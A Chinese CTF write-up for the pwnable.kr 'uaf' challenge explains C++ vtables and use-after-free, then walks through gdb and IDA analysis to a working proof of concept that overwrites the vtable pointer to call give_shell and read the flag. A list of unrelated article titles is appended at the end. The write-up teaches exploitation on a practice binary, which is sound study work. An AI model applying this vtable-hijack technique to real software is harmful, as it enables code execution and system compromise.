uaf - pwnable

预备知识

虚函数的内存地址空间

在c++中,如果类中有虚函数(如下图中的 virtual void give_shell()),那么它就是有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。


对于子类,最开始的内存数据记录着父类对象的拷贝(包含父类虚函数表指针和成员变量)。之后是子类自己的成员变量数据。

子类的继承也分几种,分别是:

单一继承,无虚函数重载

单一继承,重载了虚函数

多重继承

总结

如果一个类中虚函数,那么就会建立一张虚函数表vtable,子类继承父类的vtable。

若父类vtable中包含私有(private)虚函数,子类vtable同样具有该函数的地址。并不是直接继承了私有虚函数。

当子类重载父类虚函数时,修改vtable同名函数地址,改为指向子类新定义的函数地址(子类修改父类中已有虚函数,vtable就更新对应虚函数的地址)。若子类中有新的虚函数,在vtable末尾添加。

一个类(无论父类子类)只有一个vtable,可以有多个__vfptr。__vfptr指向的是vtable。


Use-After-Free

Dangling pointer即指向被释放的内存的指针,通常是由于释放内存后,未将指针置为NULL。

UAF原理就是对Dangling pointer所指向的内存进行使用

基本利用思路:将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存的内容可能(如重新分配字符串、任意地址跳转)

下面结合图解释一下:

首先我们申请了一个堆空间里面存放有int id、char *name、int(\*func)(),指针是p(如左图)。

然后我们释放(free)堆p。

接着再次申请相同大小的堆p2(char *p2=(char*)malloc(12))。然后向堆中写入内存地址。

由于p与p2申请堆空间相同,系统可能分配了相同的内存地址给堆p2。p在没有设置为NULL时,假如程序调用原来的堆p中的函数,实际上调用堆p2中我们写入的函数。

总结

UAF错误的原因:

  1. 导致程序出错和发生异常的各种条件

  2. 程序负责释放内存的指令发生混乱

    其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)

UAF漏洞的利用:

  1. 先搞出来一个迷途指针
  2. 精心构造数据填充被释放的内存区域
  3. 再次使用该指针,让填充的数据使eip发生跳转。

C++ delete

为某个内容开辟空间,并设置指向该空间的指针p,delete之后,下次再重新申请的时候可以再申请这块内存地址,也就是将这块地址放到了空闲链表上,对于这块地址的内容,没有进行清空处理(也没有必要);由于你没有将p赋为NULL,所以p指针还是指向这块内存空间。
如果不delete的话,你这块内存是不能在申请使用的,也就是所谓的内存泄露。
对于delete之后的指针p,此时是"野指针"。


题目源码

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;class Human{private:virtual void give_shell(){system("/bin/sh");}
protected:int age;string name;
public:virtual void introduce(){cout << "My name is " << name << endl;cout << "I am " << age << " years old" << endl;}
};class Man: public Human{public:Man(string name, int age){this->name = name;this->age = age;}virtual void introduce(){Human::introduce();cout << "I am a nice guy!" << endl;}
};class Woman: public Human{public:Woman(string name, int age){this->name = name;this->age = age;}virtual void introduce(){Human::introduce();cout << "I am a cute girl!" << endl;}
};int main(int argc, char* argv[]){Human* m = new Man("Jack", 25);Human* w = new Woman("Jill", 21);size_t len;char* data;unsigned int op;while(1){cout << "1. use\n2. after\n3. free\n";cin >> op;switch(op){case 1:m->introduce();w->introduce();break;case 2:len = atoi(argv[1]);data = new char[len];read(open(argv[2], O_RDONLY), data, len);cout << "your data is allocated" << endl;break;case 3:delete m;delete w;break;default:break;}}return 0;
}

题目给出了源码,那就直接分析源码吧。

源码中:

  1. 建立了一个Human类(第八行)

  2. Man、Women类都是继承Human类

  3. main函数一开始就初始化得到了Man、Women的两个实例。

    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);
    
  4. 初始化后就是一个switch的选择分支:

    1调用实例中的introduce()函数

    2申请堆空间,并写其中写入某些内容

    3释放m、w两个实例的堆空间

在Human类中,发现有give_shell()函数,只要我们能够让程序调用这个函数就获得了shell,有足够的权限得到flag

我们先来看看释放堆空间的源码:

case 3:delete m;delete w;break;

前面提到过,在程序delete w、m时,堆空间的内容没有被删除,仍然存储在内存上,只是在链表上被标注为空间可被分配。

程序正常情况下只会调用introduce()函数,那么我们可以将introduce()的内存地址覆盖为give_shell()内存地址。这样程序在调用introduce()时,就等于调用了give_shell()


那么现在问题就转化为:怎么覆盖introduce()地址

覆写的基本思路是:

  1. 程序运行即实例化对象m、w。

  2. 然后我们释放掉两个堆空间。

  3. 再申请相同大小的两个堆空间,写入give_shell()地址覆盖introduce()地址。

Q:为什么要申请两个相同大小的堆空间?

A:相同大小是确保系统分配,初始化时堆所使用的内存空间给我们;两个实例堆都被释放了,所有需要申请两个堆空间。

我们来看一下2申请堆空间的源码:

case 2:len = atoi(argv[1]);data = new char[len];read(open(argv[2], O_RDONLY), data, len);cout << "your data is allocated" << endl;break;

从参数2中读取参数1长度的内容,写入到data堆中。


现在问题转化为:堆空间大小?give_shell()的内存地址

将uaf从服务器下载下来,然后丢到ida分析。


22行申请了man实例的堆空间大小为0x18字节,也就是24字节

从源码中我们已经的得知了:give_shell()是虚函数,也就是说它的位置由vtable记录,我们需要找到vtable的位置,然后从表中查询到give_shell()的内存地址。

vtable是在实例的堆空间中的第一个位(低地址)。那么我们就用gdb,在实例建立之后,查询实例的地址,接着查询实例的内存地址空间内容,从而得到vtabel地址。

Man实例化后存储在rbx中,我们就在下一行(0x0000000000400F18)打断点。

gdb-peda$ b *0x0000000000400F18
Breakpoint 1 at 0x400f18
gdb-peda$ run
Starting program: /home/skye/pwnable.kr/uaf/uaf
[----------------------------------registers-----------------------------------]
RAX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push   rbp)
RBX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push   rbp)
RCX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push   rbp)
RDX: 0x19
RSI: 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
RDI: 0x7f9720aff300 --> 0x0
RBP: 0x7ffd678325e0 --> 0x4013b0 (<__libc_csu_init>:   mov    QWORD PTR [rsp-0x28],rbp)
RSP: 0x7ffd67832580 --> 0x7ffd678326c8 --> 0x7ffd67834318 ("/home/skye/pwnable.kr/uaf/uaf")
RIP: 0x400f18 (<main+84>:    mov    QWORD PTR [rbp-0x38],rbx)
R8 : 0xc3f010 --> 0x0
R9 : 0x0
R10: 0x6
R11: 0x7f9720a07240 (<_ZNSs6assignERKSs>: push   r12)
R12: 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
R13: 0x7ffd678326c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x400f0d <main+73>:  mov    rsi,r120x400f10 <main+76>:    mov    rdi,rbx0x400f13 <main+79>:    call   0x401264 <_ZN3ManC2ESsi>
=> 0x400f18 <main+84>:   mov    QWORD PTR [rbp-0x38],rbx0x400f1c <main+88>:   lea    rax,[rbp-0x50]0x400f20 <main+92>: mov    rdi,rax0x400f23 <main+95>:    call   0x400d00 <_ZNSsD1Ev@plt>0x400f28 <main+100>:   lea    rax,[rbp-0x12]
[------------------------------------stack-------------------------------------]
0000| 0x7ffd67832580 --> 0x7ffd678326c8 --> 0x7ffd67834318 ("/home/skye/pwnable.kr/uaf/uaf")
0008| 0x7ffd67832588 --> 0x10000ffff
0016| 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
0024| 0x7ffd67832598 --> 0x401177 (<_GLOBAL__sub_I_main+19>:  pop    rbp)
0032| 0x7ffd678325a0 --> 0x1
0040| 0x7ffd678325a8 --> 0x40140d (<__libc_csu_init+93>:  add    rbx,0x1)
0048| 0x7ffd678325b0 --> 0x7f9720b29b20 (push   rbp)
0056| 0x7ffd678325b8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, valueBreakpoint 1, 0x0000000000400f18 in main ()
gdb-peda$ p /x $rbx
$1 = 0xc50ea0
gdb-peda$ x /10a 0xc50ea0
0xc50ea0:   0x401570 <_ZTV3Man+16>   0x19  //虚表地址
0xc50eb0:   0xc50e88    0xf151
0xc50ec0:   0x0 0x0
0xc50ed0:   0x0 0x0
0xc50ee0:   0x0 0x0

我们得到Man实例的vtable地址:0xc50ea0: 0x401570 <_ZTV3Man+16> 0x19

为了方便查看,我们回到IDA中,跳转到0x401570

现在我们知道了__vfptr指针一开始就指向了give_shell(),introduce()比give_shell()地址高8位。

我们需要知道指针进行了怎样运行,最终指向了introduce()。

我们在IDA中找到调用introduce对应的代码。


初始指针地址加上偏移地址8,刚刚好指向introduce在vtable中的地址。其中的v12、v13对应的就是实例Man、Women。

那么我们需要做的就是将__vftable虚表指针前移8个字节,这样call [vptr+8]就调用give_shell()。

0x401570-0x8=0x401568->\x68\x15\x40\x00\x00\x00\x00\x00

前面我们也分析知道了:程序是从参数2中读取需要写入堆的内容。那么我们需要提前准备好一个文档,内容为\x68\x15\x40\x00\x00\x00\x00\x00

Q:跳转到0x401570后,发现三个虚表,那为什么要用Man虚表下面的give_shell()?

A:三个虚表中的give_shell()都可以

完整POC

  1. 准备覆盖地址的文件
  2. free两个实例的堆空间
  3. after(malloc分配)两次,申请并写入两个堆空间
  4. run
skye@skye-ubuntu:~/pwnable.kr/uaf$ ssh uaf@pwnable.kr -p2222
uaf@prowl:~$ python2
Python 2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> file = open("/tmp/uaf_2.txt","wb")
>>> file.write(p64(0x401570-0x8))
>>> file.close()
>>> exit()
uaf@prowl:~$ ./uaf 24 /tmp/uaf_2.txt
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning

uaf - pwnable相关推荐

  1. PWN uaf [pwnable.kr]CTF writeup题解系列13

    目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 题目都已经介绍了这是一道Use After Free的题目,那我们就不用多想了,先看看题目主要内容 root@myp ...

  2. pwnable.kr [Toddler's Bottle] - uaf

    Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2222 (pw:guest) 根据提示已经可以知道这里需要我们利用漏洞Use-Afte ...

  3. pwnable.kr 简单题目详细笔记汇总

    文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...

  4. Linux 二进制漏洞挖掘入门系列之(五)UAF 漏洞分析与利用

    0x10 UAF(Use After Free) 漏洞原理 这里,需要先介绍一下堆分配内存的原则.ptmalloc 是 glibc 的堆管理器,前身是 dlmalloc,Linux 中进程分配内存的两 ...

  5. Pwnable之[Toddler's Bottle](三)--UAF

    Pwnable之[Toddler's Bottle]–UAF UAF,use-after-free 顾名思义,就是释放过内存的重利用. 根据操作系统里的内存分配就知道,当分配给的一个代码释放后,如果再 ...

  6. [pwnable.kr]uaf

    先贴上uaf.cpp的源码 #include <fcntl.h> #include <iostream> #include <cstring> #include & ...

  7. Pwnable.kr

    Dragon -- 堆之 uaf 开始堆的学习之旅. uaf漏洞利用到了堆的管理中fastbin的特性,关于堆的各种分配方式参见堆之*bin理解 在SecretLevel函数中,发现了隐藏的syste ...

  8. pwnable.kr之Toddler‘s Bottle 9~16题知识点记录

    文章目录 第九题 mistake 总结 答案: 第十题 shellshock env指令 bash指令 解题 第十一题 coin1 findall(pattern, string, flags=0) ...

  9. 【pwnable】asm之write up

    首先查看源代码: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <s ...

最新文章

  1. 阿里P7架构师告诉你Java架构师必须知道的 6 大设计原则
  2. 马云的 ATM 梦实现了
  3. CircleProgressView
  4. 分库分表就能无限扩容吗,解释得太好了!
  5. 【深度学习】近几年,关于基于Imagenet数据集图像分类的模型总结
  6. 为什么会用这个工具的产品经理,越来越值钱?
  7. ThinkPHP6项目基操(15.实战部分 阿里云短信redis)
  8. Struts2的手工自定义验证--完整实例代码
  9. 论文笔记:STD2P: RGBD Semantic Segmentation Using Spatio-Temporal Data-Driven Pooling
  10. 检测到你的手机处于root环境_玩手游多开还在用模拟器?云手机了解一下
  11. 现代通信理论与新技术 - 填空自测
  12. 《颠覆我认知的30篇文章 》阅读笔记(一)
  13. linux top命令最详细解释
  14. OpenCV开发笔记(四十八):红胖子8分钟带你深入了解直方图均衡化(图文并茂+浅显易懂+程序源码)
  15. 室内环境下的3D 目标检测调研
  16. 历尽千帆过尽,归来,又是一年毕业季
  17. 基于FPGA的单目内窥镜定位系统设计(中)
  18. python列表推导式是什么
  19. 微信小程序的准备工作
  20. 网页制作精华代码大全

热门文章

  1. SCARA机器人运动学模型建立
  2. NRF52840学习历程(八)IIC协议0.96OLED屏幕
  3. 基于SOM-TL437x核心板研发的一款TI ARM Cortex-A9开发板 6JTAG仿真器接口
  4. Zookeeper启动流程浅析
  5. 温度补偿计算公式_测量的温度补偿的原则与方法
  6. python zookeeper kazoo实现分布式锁
  7. 业余程序员余流 - 杂谈 之 《每个人都有自己的选择》
  8. android 屏幕快捷键是什么,Android在主屏幕上创建快捷方式
  9. 智慧应急指挥平台解决方案 PPT
  10. 揭开SAP Solution Manager神秘面纱